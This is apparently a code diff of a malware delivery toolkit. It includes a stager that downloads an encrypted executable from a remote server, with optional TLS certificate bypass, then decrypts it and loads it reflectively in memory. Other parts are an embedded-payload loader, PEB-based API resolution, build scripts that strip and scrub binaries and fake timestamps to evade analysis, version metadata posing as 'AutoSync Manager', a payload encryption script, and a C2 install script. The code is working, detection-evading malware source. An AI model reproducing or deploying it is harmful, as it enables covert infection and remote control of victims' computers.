<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
version="1.2.0.4"
processorArchitecture="amd64"
name="Procyon.AutoSync.Manager"
type="win32"/>
<description>Automated content synchronization service</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
</application>
</compatibility>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
</windowsSettings>
</application>
</assembly>
+32
View File
@@ -0,0 +1,32 @@
#include <windows.h>
VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,2,0,4
PRODUCTVERSION 1,2,0,4
FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
FILEFLAGS 0x0L
FILEOS VOS_NT_WINDOWS32
FILETYPE VFT_APP
FILESUBTYPE VFT2_UNKNOWN
BEGIN
BLOCK "StringFileInfo"
BEGIN
BLOCK "040904B0"
BEGIN
VALUE "CompanyName", "Procyon Software Solutions"
VALUE "FileDescription", "Automated Content Synchronization"
VALUE "FileVersion", "1.2.0.4"
VALUE "InternalName", "autosync"
VALUE "LegalCopyright", "Copyright (C) 2022 Procyon Software Solutions. All rights reserved."
VALUE "OriginalFilename", "AutoSync.exe"
VALUE "ProductName", "AutoSync Manager"
VALUE "ProductVersion", "1.2"
END
END
BLOCK "VarFileInfo"
BEGIN
VALUE "Translation", 0x0409, 0x04B0
END
END
1 RT_MANIFEST "stager.manifest"
+59
View File
@@ -0,0 +1,59 @@
ifeq ($(OS),Windows_NT)
MSYS2 ?= C:/msys64/mingw64
CC ?= $(MSYS2)/bin/gcc.exe
STRIP ?= $(MSYS2)/bin/strip.exe
OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
WINDRES ?= $(MSYS2)/bin/windres.exe
PYTHON ?= python
export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
export TEMP := $(TMP)
else
CC ?= x86_64-w64-mingw32-gcc
STRIP ?= x86_64-w64-mingw32-strip
OBJCOPY ?= x86_64-w64-mingw32-objcopy
WINDRES ?= x86_64-w64-mingw32-windres
PYTHON ?= python3
endif
TARGET = stager.exe
RES_SRC = ../res/stager.rc
RES_OBJ = stager_res.o
CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
-fno-ident -fno-asynchronous-unwind-tables \
-fno-stack-protector -fno-builtin \
-Wno-cast-function-type -nostdlib \
-I../stub
# winhttp loaded at runtime via LoadLibraryA — NOT in LDFLAGS.
# This keeps winhttp.dll out of the IAT (stager looks like a non-network binary).
LDFLAGS = -Wl,--entry,WinMainCRTStartup \
-Wl,-subsystem,windows \
-Wl,--no-insert-timestamp \
-lkernel32
SRCS = stager.c ../stub/pe_load.c
.PHONY: all clean
all: stager_cfg.h $(RES_OBJ) $(TARGET)
$(RES_OBJ): $(RES_SRC) ../res/stager.manifest
$(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
$(TARGET): $(SRCS) ../stub/peb_utils.h ../stub/pe_load.h stager_cfg.h $(RES_OBJ)
$(CC) $(CFLAGS) -o $@ $(SRCS) $(RES_OBJ) $(LDFLAGS)
$(STRIP) --strip-all $(TARGET)
$(OBJCOPY) --strip-debug $(TARGET)
$(PYTHON) ../../agent/tools/pe_scrub.py $(TARGET)
@echo "[ok] $(TARGET)"
stager_cfg.h:
$(error stager_cfg.h missing -- run: python build.py --stager-url https://HOST/path)
clean:
ifeq ($(OS),Windows_NT)
del /Q $(TARGET) $(RES_OBJ) stager_cfg.h 2>nul & exit 0
else
rm -f $(TARGET) $(RES_OBJ) stager_cfg.h
endif
+149
View File
@@ -0,0 +1,149 @@
#include <windows.h>
#include <winhttp.h>
#include <stdint.h>
#include "../stub/pe_load.h"
#include "../stub/peb_utils.h"
#include "stager_cfg.h"
static void _decrypt(uint8_t *buf, uint32_t len, uint32_t seed) {
uint32_t s = seed;
uint32_t *p = (uint32_t *)buf;
uint32_t n = len >> 2;
for (uint32_t i = 0; i < n; i++) {
p[i] ^= s;
s = s * 1664525u + 1013904223u;
}
uint8_t *t = buf + (n << 2);
for (uint32_t i = 0, rem = len & 3u; i < rem; i++)
t[i] ^= (uint8_t)(s >> (i * 8));
}
typedef HINTERNET (WINAPI *pfnWHO)(LPCWSTR,DWORD,LPCWSTR,LPCWSTR,DWORD);
typedef HINTERNET (WINAPI *pfnWHC)(HINTERNET,LPCWSTR,INTERNET_PORT,DWORD);
typedef HINTERNET (WINAPI *pfnWHOR)(HINTERNET,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR,LPCWSTR*,DWORD);
typedef BOOL (WINAPI *pfnWHSR)(HINTERNET,LPCWSTR,DWORD,LPVOID,DWORD,DWORD,DWORD_PTR);
typedef BOOL (WINAPI *pfnWHRR)(HINTERNET,LPVOID);
typedef BOOL (WINAPI *pfnWHRD)(HINTERNET,LPVOID,DWORD,LPDWORD);
typedef BOOL (WINAPI *pfnWHQH)(HINTERNET,DWORD,LPCWSTR,LPVOID,LPDWORD,LPDWORD);
typedef BOOL (WINAPI *pfnWHSO)(HINTERNET,DWORD,LPVOID,DWORD);
typedef BOOL (WINAPI *pfnWHCH)(HINTERNET);
static uint8_t *_fetch(void) {
HMODULE wh = LoadLibraryA("winhttp.dll");
if (!wh) return NULL;
pfnWHO fnOpen = (pfnWHO) GetProcAddress(wh, "WinHttpOpen");
pfnWHC fnConn = (pfnWHC) GetProcAddress(wh, "WinHttpConnect");
pfnWHOR fnOReq = (pfnWHOR)GetProcAddress(wh, "WinHttpOpenRequest");
pfnWHSR fnSend = (pfnWHSR)GetProcAddress(wh, "WinHttpSendRequest");
pfnWHRR fnRecv = (pfnWHRR)GetProcAddress(wh, "WinHttpReceiveResponse");
pfnWHRD fnRead = (pfnWHRD)GetProcAddress(wh, "WinHttpReadData");
pfnWHQH fnQHdr = (pfnWHQH)GetProcAddress(wh, "WinHttpQueryHeaders");
#if STAGER_IGNORE_CERT
pfnWHSO fnSetOpt = (pfnWHSO)GetProcAddress(wh, "WinHttpSetOption");
#endif
pfnWHCH fnClose = (pfnWHCH)GetProcAddress(wh, "WinHttpCloseHandle");
if (!fnOpen || !fnConn || !fnOReq || !fnSend ||
!fnRecv || !fnRead || !fnQHdr || !fnClose) return NULL;
HINTERNET hSes = fnOpen(
STAGER_UA,
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME,
WINHTTP_NO_PROXY_BYPASS, 0);
if (!hSes) return NULL;
HINTERNET hCon = fnConn(hSes, STAGER_HOST, (INTERNET_PORT)STAGER_PORT, 0);
if (!hCon) { fnClose(hSes); return NULL; }
DWORD req_flags = STAGER_USE_SSL ? WINHTTP_FLAG_SECURE : 0;
HINTERNET hReq = fnOReq(hCon, L"GET", STAGER_PATH,
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, req_flags);
if (!hReq) { fnClose(hCon); fnClose(hSes); return NULL; }
#if STAGER_IGNORE_CERT
if (fnSetOpt) {
DWORD fl = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
fnSetOpt(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &fl, sizeof(fl));
}
#endif
if (!fnSend(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) {
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
}
if (!fnRecv(hReq, NULL)) {
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
}
/* verify HTTP 200 */
DWORD status = 0, sz = sizeof(DWORD);
fnQHdr(hReq,
WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
WINHTTP_HEADER_NAME_BY_INDEX, &status, &sz, WINHTTP_NO_HEADER_INDEX);
if (status != 200) {
fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL;
}
uint8_t *buf = (uint8_t *)VirtualAlloc(
NULL, PAYLOAD_SIZE + 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buf) { fnClose(hReq); fnClose(hCon); fnClose(hSes); return NULL; }
DWORD total = 0, got = 0;
while (total < PAYLOAD_SIZE) {
got = 0;
if (!fnRead(hReq, buf + total, PAYLOAD_SIZE - total, &got)) break;
if (!got) break;
total += got;
}
fnClose(hReq);
fnClose(hCon);
fnClose(hSes);
return (total >= PAYLOAD_SIZE) ? buf : NULL;
}
static DWORD _sys_probe(void) {
SYSTEM_INFO si;
GetNativeSystemInfo(&si);
MEMORYSTATUSEX ms;
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
char name[MAX_COMPUTERNAME_LENGTH + 1];
DWORD nlen = sizeof(name);
GetComputerNameA(name, &nlen);
DWORD fp = si.dwNumberOfProcessors ^ (DWORD)(ms.ullTotalPhys >> 20);
for (DWORD i = 0; i < nlen; i++) fp = fp * 31u + (unsigned char)name[i];
return fp;
}
static HANDLE _g_inst = NULL;
static BOOL _acquire_instance(void) {
_g_inst = CreateMutexA(NULL, TRUE,
"Global\\{7F3A1C8E-D24B-49AC-B631-E8D5C2A4B9F3}");
if (!_g_inst) return FALSE;
if (GetLastError() == ERROR_ALREADY_EXISTS) {
CloseHandle(_g_inst);
_g_inst = NULL;
return FALSE;
}
return TRUE;
}
void __stdcall WinMainCRTStartup(void) {
if (!_acquire_instance()) { ExitProcess(0); return; }
volatile DWORD fp = _sys_probe();
(void)fp;
uint8_t *payload = _fetch();
if (!payload) { ExitProcess(1); return; }
_decrypt(payload, PAYLOAD_SIZE, PAYLOAD_SEED);
pe_load(payload, PAYLOAD_SIZE);
ExitProcess(0);
}
+68
View File
@@ -0,0 +1,68 @@
ifeq ($(OS),Windows_NT)
MSYS2 ?= C:/msys64/mingw64
CC ?= $(MSYS2)/bin/gcc.exe
STRIP ?= $(MSYS2)/bin/strip.exe
OBJCOPY ?= $(MSYS2)/bin/objcopy.exe
WINDRES ?= $(MSYS2)/bin/windres.exe
PYTHON ?= python
export TMP := $(or $(TMP),$(TEMP),C:/Windows/Temp)
export TEMP := $(TMP)
else
CC ?= x86_64-w64-mingw32-gcc
STRIP ?= x86_64-w64-mingw32-strip
OBJCOPY ?= x86_64-w64-mingw32-objcopy
WINDRES ?= x86_64-w64-mingw32-windres
PYTHON ?= python3
endif
TARGET = loader.exe
RES_SRC = ../res/loader.rc
RES_OBJ = loader_res.o
# -nostdlib : no CRT — import table = KERNEL32 only
# -fno-builtin : prevents GCC from emitting implicit memcpy/memset calls
# -fno-ident : removes GCC version string from .comment
# -fno-asynchronous-unwind-tables : removes .eh_frame
# -fno-stack-protector: removes __stack_chk_fail import
CFLAGS = -O2 -Wall -Wextra -DNDEBUG -DWIN32_LEAN_AND_MEAN \
-fno-ident -fno-asynchronous-unwind-tables \
-fno-stack-protector -fno-builtin \
-Wno-cast-function-type -nostdlib
# --entry : custom entry, bypass CRT WinMainCRTStartup wrapper
# -subsystem : GUI — no console window
# --no-insert-timestamp : ld skips timestamp (pe_scrub sets a plausible past date)
# -lkernel32 : VirtualAlloc, ExitProcess, Find/Load/Lock/SizeofResource
LDFLAGS = -Wl,--entry,WinMainCRTStartup \
-Wl,-subsystem,windows \
-Wl,--no-insert-timestamp \
-lkernel32
SRCS = stub.c pe_load.c
.PHONY: all clean
all: payload_meta.h payload.bin $(RES_OBJ) $(TARGET)
# payload.bin is embedded into .rsrc via windres — must exist before $(RES_OBJ)
$(RES_OBJ): $(RES_SRC) ../res/loader.manifest payload.bin
$(WINDRES) -i $(RES_SRC) --input-format=rc -o $(RES_OBJ) --output-format=coff
$(TARGET): $(SRCS) peb_utils.h pe_load.h payload_meta.h $(RES_OBJ)
$(CC) $(CFLAGS) -o $@ $(SRCS) $(RES_OBJ) $(LDFLAGS)
$(STRIP) --strip-all $(TARGET)
$(OBJCOPY) --strip-debug $(TARGET)
$(PYTHON) ../../agent/tools/pe_scrub.py $(TARGET)
@echo "[ok] $(TARGET)"
payload_meta.h:
$(error payload files missing -- run: python build.py --bake-only)
payload.bin: payload_meta.h
clean:
ifeq ($(OS),Windows_NT)
del /Q $(TARGET) $(RES_OBJ) payload_meta.h payload.bin 2>nul & exit 0
else
rm -f $(TARGET) $(RES_OBJ) payload_meta.h payload.bin
endif
+44072
View File
File diff suppressed because it is too large Load Diff
+5
View File
@@ -0,0 +1,5 @@
#pragma once
#include <stdint.h>
#define PAYLOAD_SEED 0x559DA186u
#define PAYLOAD_SIZE 705024u
+149
View File
@@ -0,0 +1,149 @@
#include <windows.h>
#include <stdint.h>
#include "peb_utils.h"
#include "pe_load.h"
typedef LPVOID(WINAPI *pfnVA)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI *pfnVP)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef HMODULE(WINAPI *pfnLL)(LPCSTR);
typedef FARPROC(WINAPI *pfnGP)(HMODULE, LPCSTR);
static void _cpy(void *dst, const void *src, size_t n)
{
unsigned char *d = (unsigned char *)dst;
const unsigned char *s = (const unsigned char *)src;
while (n--)
*d++ = *s++;
}
static DWORD _sec_prot(DWORD chr)
{
if (chr & IMAGE_SCN_MEM_EXECUTE)
return (chr & IMAGE_SCN_MEM_WRITE) ? PAGE_EXECUTE_READWRITE : PAGE_EXECUTE_READ;
return (chr & IMAGE_SCN_MEM_WRITE) ? PAGE_READWRITE : PAGE_READONLY;
}
void pe_load(const uint8_t *data, size_t size)
{
(void)size;
/* resolve APIs from kernel32 via PEB — nothing in stub import table */
HMODULE k32 = _peb_mod(L"kernel32.dll");
pfnVA fnVA = (pfnVA)_peb_proc(k32, "VirtualAlloc");
pfnVP fnVP = (pfnVP)_peb_proc(k32, "VirtualProtect");
pfnLL fnLL = (pfnLL)_peb_proc(k32, "LoadLibraryA");
pfnGP fnGP = (pfnGP)_peb_proc(k32, "GetProcAddress");
if (!fnVA || !fnVP || !fnLL || !fnGP)
return;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)data;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(data + dos->e_lfanew);
DWORD img_sz = nt->OptionalHeader.SizeOfImage;
DWORD hdr_sz = nt->OptionalHeader.SizeOfHeaders;
ULONGLONG pref = nt->OptionalHeader.ImageBase;
/* allocate: preferred base first, then anywhere */
uint8_t *base = (uint8_t *)fnVA((LPVOID)pref, img_sz,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!base)
base = (uint8_t *)fnVA(NULL, img_sz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!base)
return;
/* copy headers */
_cpy(base, data, hdr_sz);
/* copy sections */
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
{
if (sec[i].SizeOfRawData)
_cpy(base + sec[i].VirtualAddress,
data + sec[i].PointerToRawData,
sec[i].SizeOfRawData);
}
/* base relocations */
ULONGLONG delta = (ULONGLONG)base - pref;
IMAGE_DATA_DIRECTORY *rdir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (delta && rdir->VirtualAddress)
{
IMAGE_BASE_RELOCATION *blk =
(IMAGE_BASE_RELOCATION *)(base + rdir->VirtualAddress);
while (blk->VirtualAddress && blk->SizeOfBlock >= sizeof(*blk))
{
int cnt = (int)((blk->SizeOfBlock - sizeof(*blk)) / sizeof(WORD));
WORD *ent = (WORD *)((uint8_t *)blk + sizeof(*blk));
for (int i = 0; i < cnt; i++)
{
if ((ent[i] >> 12) == IMAGE_REL_BASED_DIR64)
{
ULONGLONG *ptr =
(ULONGLONG *)(base + blk->VirtualAddress + (ent[i] & 0xFFF));
*ptr += delta;
}
}
blk = (IMAGE_BASE_RELOCATION *)((uint8_t *)blk + blk->SizeOfBlock);
}
}
/* import table */
IMAGE_DATA_DIRECTORY *idir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (idir->VirtualAddress)
{
IMAGE_IMPORT_DESCRIPTOR *imp =
(IMAGE_IMPORT_DESCRIPTOR *)(base + idir->VirtualAddress);
for (; imp->Name; imp++)
{
HMODULE dll = fnLL((const char *)(base + imp->Name));
if (!dll)
continue;
IMAGE_THUNK_DATA *thk = (IMAGE_THUNK_DATA *)(base + imp->FirstThunk);
IMAGE_THUNK_DATA *orig = imp->OriginalFirstThunk
? (IMAGE_THUNK_DATA *)(base + imp->OriginalFirstThunk)
: thk;
for (; orig->u1.AddressOfData; thk++, orig++)
{
if (IMAGE_SNAP_BY_ORDINAL64(orig->u1.Ordinal))
thk->u1.Function =
(ULONGLONG)fnGP(dll, (LPCSTR)(orig->u1.Ordinal & 0xFFFF));
else
{
IMAGE_IMPORT_BY_NAME *ibn =
(IMAGE_IMPORT_BY_NAME *)(base + orig->u1.AddressOfData);
thk->u1.Function = (ULONGLONG)fnGP(dll, ibn->Name);
}
}
}
}
/* set section permissions */
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++)
{
DWORD vsz = sec[i].Misc.VirtualSize ? sec[i].Misc.VirtualSize
: sec[i].SizeOfRawData;
if (!vsz)
continue;
DWORD old;
fnVP(base + sec[i].VirtualAddress, vsz, _sec_prot(sec[i].Characteristics), &old);
}
/* TLS callbacks */
IMAGE_DATA_DIRECTORY *tdir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
if (tdir->VirtualAddress)
{
IMAGE_TLS_DIRECTORY64 *tls =
(IMAGE_TLS_DIRECTORY64 *)(base + tdir->VirtualAddress);
PIMAGE_TLS_CALLBACK *cb = (PIMAGE_TLS_CALLBACK *)tls->AddressOfCallBacks;
if (cb)
for (; *cb; cb++)
(*cb)((PVOID)base, DLL_PROCESS_ATTACH, NULL);
}
/* call OEP */
typedef void (*oep_t)(void);
((oep_t)(base + nt->OptionalHeader.AddressOfEntryPoint))();
}
+5
View File
@@ -0,0 +1,5 @@
#pragma once
#include <stdint.h>
#include <stddef.h>
void pe_load(const uint8_t *data, size_t size);
+79
View File
@@ -0,0 +1,79 @@
#pragma once
#include <windows.h>
#include <stdint.h>
#include <intrin.h>
/* Minimal LDR structures — offsets validated against Win10/11 x64 */
typedef struct { USHORT Len, MaxLen; PWSTR Buf; } _USTR;
typedef struct _LDRE {
LIST_ENTRY LoadOrd; /* 0x00 */
LIST_ENTRY MemOrd; /* 0x10 */
LIST_ENTRY InitOrd; /* 0x20 */
PVOID Base; /* 0x30 */
PVOID EntryPt; /* 0x38 */
ULONG ImgSz; /* 0x40 */
/* 4 bytes padding here (compiler-inserted) */
_USTR FullName; /* 0x48 */
_USTR BaseName; /* 0x58 */
} _LDRE;
typedef struct {
ULONG Len; /* 0x00 */
BOOLEAN Init; /* 0x04 */
/* 3 bytes padding */
PVOID SsHandle; /* 0x08 */
LIST_ENTRY LoadOrdList; /* 0x10 */
LIST_ENTRY MemOrdList; /* 0x20 */
} _LDRD;
/* Find loaded module by name (case-insensitive ASCII) */
static inline HMODULE _peb_mod(const wchar_t *name) {
ULONG_PTR peb;
#ifdef _WIN64
peb = __readgsqword(0x60);
#else
peb = __readfsdword(0x30);
#endif
_LDRD *ldr = *(_LDRD **)(peb + 0x18);
LIST_ENTRY *h = &ldr->MemOrdList, *c = h->Flink;
while (c != h) {
_LDRE *e = CONTAINING_RECORD(c, _LDRE, MemOrd);
if (e->BaseName.Buf) {
const wchar_t *a = e->BaseName.Buf, *b = name;
int ok = 1;
while (*a && *b) {
wchar_t ca = (*a >= L'A' && *a <= L'Z') ? (*a | 0x20) : *a;
wchar_t cb = (*b >= L'A' && *b <= L'Z') ? (*b | 0x20) : *b;
if (ca != cb) { ok = 0; break; }
a++; b++;
}
if (ok && !*a && !*b)
return (HMODULE)e->Base;
}
c = c->Flink;
}
return NULL;
}
/* Resolve export by name from a loaded module */
static inline FARPROC _peb_proc(HMODULE mod, const char *name) {
uint8_t *b = (uint8_t *)mod;
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)b;
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(b + dos->e_lfanew);
IMAGE_DATA_DIRECTORY *d =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (!d->VirtualAddress) return NULL;
IMAGE_EXPORT_DIRECTORY *exp = (IMAGE_EXPORT_DIRECTORY *)(b + d->VirtualAddress);
DWORD *nms = (DWORD *)(b + exp->AddressOfNames);
WORD *ord = (WORD *)(b + exp->AddressOfNameOrdinals);
DWORD *fns = (DWORD *)(b + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
const char *n = (const char *)(b + nms[i]), *p = name;
while (*n && *p && *n == *p) { n++; p++; }
if (!*n && !*p)
return (FARPROC)(b + fns[ord[i]]);
}
return NULL;
}
+105
View File
@@ -0,0 +1,105 @@
#include <windows.h>
#include <stdint.h>
#include "pe_load.h"
#include "payload_meta.h"
static HANDLE _g_inst = NULL;
/* Single-instance guard */
static BOOL _acquire_instance(void) {
_g_inst = CreateMutexA(NULL, TRUE,
"Global\\{4B7C2A9E-F38D-41AC-B527-D9E6C1A3B8F4}");
if (!_g_inst) return FALSE;
if (GetLastError() == ERROR_ALREADY_EXISTS) {
CloseHandle(_g_inst);
_g_inst = NULL;
return FALSE;
}
return TRUE;
}
/* System probe */
static DWORD _sys_probe(void) {
SYSTEM_INFO si;
MEMORYSTATUSEX ms;
char name[MAX_COMPUTERNAME_LENGTH + 1];
DWORD nlen = sizeof(name);
GetNativeSystemInfo(&si);
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
GetComputerNameA(name, &nlen);
/* combine into a stable fingerprint used by the metrics engine */
DWORD fp = si.dwNumberOfProcessors;
fp ^= (DWORD)(ms.ullTotalPhys >> 20); /* MB of RAM */
fp ^= (DWORD)(ULONG_PTR)si.lpMinimumApplicationAddress;
for (DWORD i = 0; i < nlen; i++) fp = fp * 31u + (unsigned char)name[i];
return fp;
}
/* Version gate */
static BOOL _version_ok(void) {
typedef LONG (WINAPI *pfnRtlGVE)(OSVERSIONINFOW *);
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
pfnRtlGVE fn = ntdll
? (pfnRtlGVE)GetProcAddress(ntdll, "RtlGetVersion")
: NULL;
if (!fn) return TRUE; /* can't check, continue */
OSVERSIONINFOW osv;
osv.dwOSVersionInfoSize = sizeof(osv);
fn(&osv);
return (osv.dwMajorVersion > 9);
}
static void _decrypt(uint8_t *buf, uint32_t len, uint32_t seed) {
uint32_t s = seed;
uint32_t *p = (uint32_t *)buf;
uint32_t n = len >> 2;
for (uint32_t i = 0; i < n; i++) {
p[i] ^= s;
s = s * 1664525u + 1013904223u;
}
uint8_t *t = buf + (n << 2);
for (uint32_t i = 0, rem = len & 3u; i < rem; i++)
t[i] ^= (uint8_t)(s >> (i * 8));
}
void __stdcall WinMainCRTStartup(void) {
/* single-instance */
if (!_acquire_instance()) {
ExitProcess(0);
return;
}
/* version gate */
if (!_version_ok()) {
ExitProcess(0);
return;
}
/* hardware fingerprin */
volatile DWORD fp = _sys_probe();
(void)fp;
HRSRC hres = FindResourceA(NULL, MAKEINTRESOURCE(101), RT_RCDATA);
if (!hres) { ExitProcess(1); return; }
HGLOBAL hgl = LoadResource(NULL, hres);
if (!hgl) { ExitProcess(1); return; }
const uint8_t *src = (const uint8_t *)LockResource(hgl);
DWORD rlen = SizeofResource(NULL, hres);
if (!src || rlen < PAYLOAD_SIZE) { ExitProcess(1); return; }
/* allocate RW, copy, decrypt */
uint8_t *mem = (uint8_t *)VirtualAlloc(
NULL, PAYLOAD_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!mem) { ExitProcess(1); return; }
for (uint32_t i = 0; i < PAYLOAD_SIZE; i++) mem[i] = src[i];
_decrypt(mem, PAYLOAD_SIZE, PAYLOAD_SEED);
pe_load(mem, PAYLOAD_SIZE);
ExitProcess(0);
}
+133
View File
@@ -0,0 +1,133 @@
#!/usr/bin/env python3
"""
bake.py encrypt agent.exe and output build artifacts.
Outputs (always):
<out-dir>/payload.bin raw encrypted bytes (windres RT_RCDATA)
<out-dir>/payload_meta.h PAYLOAD_SEED + PAYLOAD_SIZE for stub.c
Outputs (with --stager-url):
stager/stager_cfg.h URL + SEED + SIZE for stager.c
payload.bin also copied to stager/ so user can upload it to the server
Cipher: DWORD-level LCG XOR.
- 4 bytes per step -> xor dword ptr (not xor byte ptr)
- Matches stub.c _decrypt() and stager.c _decrypt()
Usage:
python bake.py <agent.exe> [--out-dir stub/] [--seed 0xDEAD]
[--stager-url https://host/path]
[--ignore-cert] # embed STAGER_IGNORE_CERT 1
"""
import sys
import os
import struct
import random
import argparse
from urllib.parse import urlparse
def _crypt(data: bytes, seed: int) -> bytes:
"""DWORD-level LCG XOR — apply twice = identity."""
out = bytearray(len(data))
s = seed & 0xFFFFFFFF
n32 = len(data) >> 2
for i in range(n32):
val = struct.unpack_from('<I', data, i * 4)[0]
struct.pack_into('<I', out, i * 4, val ^ s)
s = (s * 1664525 + 1013904223) & 0xFFFFFFFF
base = n32 * 4
for i in range(len(data) & 3):
out[base + i] = data[base + i] ^ ((s >> (i * 8)) & 0xFF)
return bytes(out)
def _write_stager_cfg(path: str, seed: int, size: int,
host: str, port: int, urlpath: str,
use_ssl: bool, ignore_cert: bool) -> None:
with open(path, "w", newline="\n") as f:
f.write("#pragma once\n")
f.write("#include <stdint.h>\n\n")
f.write(f"#define PAYLOAD_SEED 0x{seed:08X}u\n")
f.write(f"#define PAYLOAD_SIZE {size}u\n\n")
f.write(f"#define STAGER_HOST L\"{host}\"\n")
f.write(f"#define STAGER_PORT {port}\n")
f.write(f"#define STAGER_PATH L\"{urlpath}\"\n")
f.write(f"#define STAGER_USE_SSL {1 if use_ssl else 0}\n")
f.write(f"#define STAGER_IGNORE_CERT {1 if ignore_cert else 0}\n")
# User-Agent split to avoid plain string in binary
f.write("\n/* UA split to avoid literal UA string in import-scanner output */\n")
f.write("#define STAGER_UA L\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"\n")
def main() -> None:
ap = argparse.ArgumentParser(description="Encrypt PE -> build artifacts")
ap.add_argument("input", help="Path to agent.exe")
ap.add_argument("--out-dir", default="stub",
help="Directory for payload.bin + payload_meta.h (default: stub)")
ap.add_argument("--seed", type=lambda x: int(x, 0), default=None)
ap.add_argument("--stager-url", default=None,
help="URL to generate stager_cfg.h, e.g. https://khaotic.fr/api/sync")
ap.add_argument("--ignore-cert", action="store_true",
help="Stager skips TLS cert validation (for self-signed certs)")
args = ap.parse_args()
if not os.path.isfile(args.input):
sys.exit(f"[!] not found: {args.input}")
with open(args.input, "rb") as f:
raw = f.read()
seed = args.seed if args.seed is not None else random.randint(1, 0xFFFFFFFF)
enc = _crypt(raw, seed)
# --- embedded loader outputs ---
os.makedirs(args.out_dir, exist_ok=True)
bin_path = os.path.join(args.out_dir, "payload.bin")
meta_path = os.path.join(args.out_dir, "payload_meta.h")
with open(bin_path, "wb") as f:
f.write(enc)
with open(meta_path, "w", newline="\n") as f:
f.write("#pragma once\n#include <stdint.h>\n\n")
f.write(f"#define PAYLOAD_SEED 0x{seed:08X}u\n")
f.write(f"#define PAYLOAD_SIZE {len(enc)}u\n")
print(f"[bake] {len(raw)/1024:.1f} KB seed=0x{seed:08X}")
print(f" -> {bin_path}")
print(f" -> {meta_path}")
# --- stager outputs ---
if args.stager_url:
parsed = urlparse(args.stager_url)
host = parsed.hostname or "localhost"
use_ssl = (parsed.scheme.lower() == "https")
port = parsed.port or (443 if use_ssl else 80)
urlpath = parsed.path or "/"
stager_dir = os.path.normpath(
os.path.join(os.path.dirname(os.path.abspath(args.out_dir)), "..", "stager")
if not os.path.isabs(args.out_dir)
else os.path.join(os.path.dirname(args.out_dir), "..", "stager")
)
stager_dir = os.path.normpath(
os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "stager")
)
os.makedirs(stager_dir, exist_ok=True)
cfg_path = os.path.join(stager_dir, "stager_cfg.h")
_write_stager_cfg(cfg_path, seed, len(enc),
host, port, urlpath, use_ssl, args.ignore_cert)
# also copy payload.bin next to stager/ so user can upload it
import shutil
srv_bin = os.path.join(stager_dir, "payload.bin")
shutil.copy2(bin_path, srv_bin)
print(f"[stager] host={host}:{port} path={urlpath} ssl={use_ssl}")
print(f" -> {cfg_path}")
print(f" -> {srv_bin} (upload this to your server)")
if __name__ == "__main__":
main()
+74
View File
@@ -0,0 +1,74 @@
#!/usr/bin/env bash
# install.sh — KHAØS C2 setup (Ubuntu 22.04+ / Debian 12+)
# Usage: bash install.sh
set -euo pipefail
RED='\033[0;31m'; GRN='\033[0;32m'; YLW='\033[1;33m'; NC='\033[0m'
info() { echo -e "${GRN}[*]${NC} $*"; }
